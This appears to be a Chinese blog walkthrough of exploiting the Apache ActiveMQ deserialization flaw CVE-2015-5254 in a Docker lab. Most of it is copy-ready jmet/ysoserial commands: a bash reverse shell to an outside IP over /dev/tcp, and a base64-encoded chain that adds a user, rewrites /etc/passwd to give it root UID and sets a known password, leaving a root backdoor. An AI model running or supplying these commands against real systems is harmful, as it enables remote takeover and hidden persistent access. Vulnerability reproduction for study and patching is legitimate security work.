ActiveMQ 反序列化漏洞 (CVE-2015-5254)

漏洞简介

Apache ActiveMQ 是由美国 Pachitea(Apache)软件基金会开发的开源消息中间件,支持 Java 消息服务、集群、Spring 框架等。

Apache ActiveMQ 5.x版本之前的5.13.0安全漏洞,该程序造成的漏洞不限制代理中可以序列化的类。远程攻击者可以制作一个特殊的序列化Java Message Service (JMS) ObjectMessage 对象,利用该漏洞执行任意代码。

漏洞环境

Docker -compose up -d

运行环境后,会在61616和8161端口建立两个端口,61616端口是工作端口,消息在这个端口上传递。8161端口为网页管理页面端口。访问http://your-ip:8161,可以看到网络管理页面,但是这个漏洞理论上不需要管理页面

漏洞复现

漏洞利用过程如下:

生成序列化的有效负载(你可以使用 ysoserial)

将有效负载发送到端口 61616

访问web管理页面并读取序列化消息,然后您就可以触发漏洞。

为了利用这个环境,我们将使用jmet(Java 消息利用工具)。首先下载jmet的jar文件,在同一目录下创建external文件夹(否则可能会出现文件夹不存在的错误)。

jmet是使用ysoserial生成Payload并发送(jar自带ysoserial,我们不需要重新下载),所以需要选择一个可以在ysoserial中使用的gadget,比如ROME .

执行:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616

 

可以看到后台已经生成了此事件

 点击事件进入事件详情

再次点击事件id,进行触发

 进入容器内部发现成功创建了success文件,说明此漏洞是可以利用的

反弹shell 利用  ,需要进行bash编码

java -jar jmet-0.1.0-all.jar -Q shell -I ActiveMQ -s -Y "bash -i >& /dev/tcp/192.200.29.90/1234 0>&1" -Yp ROME 192.168.230.142   61616

 

 通过消息端口创建反弹shell事件队列

 

 点击事件id进行触发

成功获取shell权限

 

添加用户

1.依次创建3个事件,添加用户 修改权限  修改密码

java -jar jmet-0.1.0-all.jar -Q useradd -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 test" -Yp ROME  192.168.230.142  61616   ---添加用户

java -jar jmet-0.1.0-all.jar -Q tiquan -I ActiveMQ -s -Y "sed -i "s/test:x:10010/test:x:0/g" /etc/passwd" -Yp ROME   192.168.230.142  61616  ---修改权限

java -jar jmet-0.1.0-all.jar -Q chpasswd -I ActiveMQ -s -Y "echo "test:sd123456" | chpasswd" -Yp ROME   192.168.230.142   61616  ---修改密码

依次进行bash编码

java -jar jmet-0.1.0-all.jar -Q useradd -I ActiveMQ -s -Y "bash -c {echo,dXNlcmFkZCAtZyByb290IC1zIC9iaW4vYmFzaCAtdSAxMDAxMCB0ZXN0}|{base64,-d}|{bash,-i}" -Yp ROME  192.168.230.142  61616

 

 

提权

 

java -jar jmet-0.1.0-all.jar -Q tiquan -I ActiveMQ -s -Y "bash -c {echo,c2VkIC1pICJzL3Rlc3Q6eDoxMDAxMC90ZXN0Ong6MC9nIiAvZXRjL3Bhc3N3ZA==}|{base64,-d}|{bash,-i}" -Yp ROME   192.168.230.142  61616

 

 

添加密码

 

java -jar jmet-0.1.0-all.jar -Q chpasswd -I ActiveMQ -s -Y "bash -c {echo,ZWNobyAidGVzdDpzZDEyMzQ1NiIgfCBjaHBhc3N3ZA==}|{base64,-d}|{bash,-i}" -Yp ROME   192.168.230.142   61616 

 

成功创建用户

 已经成功创建test用户,密码为sd123456  权限为root

 

 

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值